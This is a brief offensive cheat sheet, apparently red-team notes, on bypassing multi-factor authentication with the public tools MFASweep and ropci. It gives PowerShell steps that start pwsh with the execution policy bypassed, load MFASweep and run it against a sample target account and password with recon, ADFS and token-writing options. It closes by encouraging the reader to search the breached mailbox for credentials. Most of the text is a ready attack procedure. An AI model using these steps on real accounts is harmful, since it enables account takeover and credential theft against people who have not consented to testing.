Bypassing MFA/2FA

1. https://github.com/dafthack/MFASweep
   1. Uses mailsniper once it finds something
2. https://github.com/wunderwuzzi23/ropci

MFASweep steps:

sudo pwsh

pwsh -ep bypass

. .\MFASweep.ps1

Invoke-MFASweep -Username targetuser@targetdomain.com -Password Winter2020 -Recon -IncludeADFS -WriteTokens

Once you bypass, you can check emails for credentials or whatever else you can find!!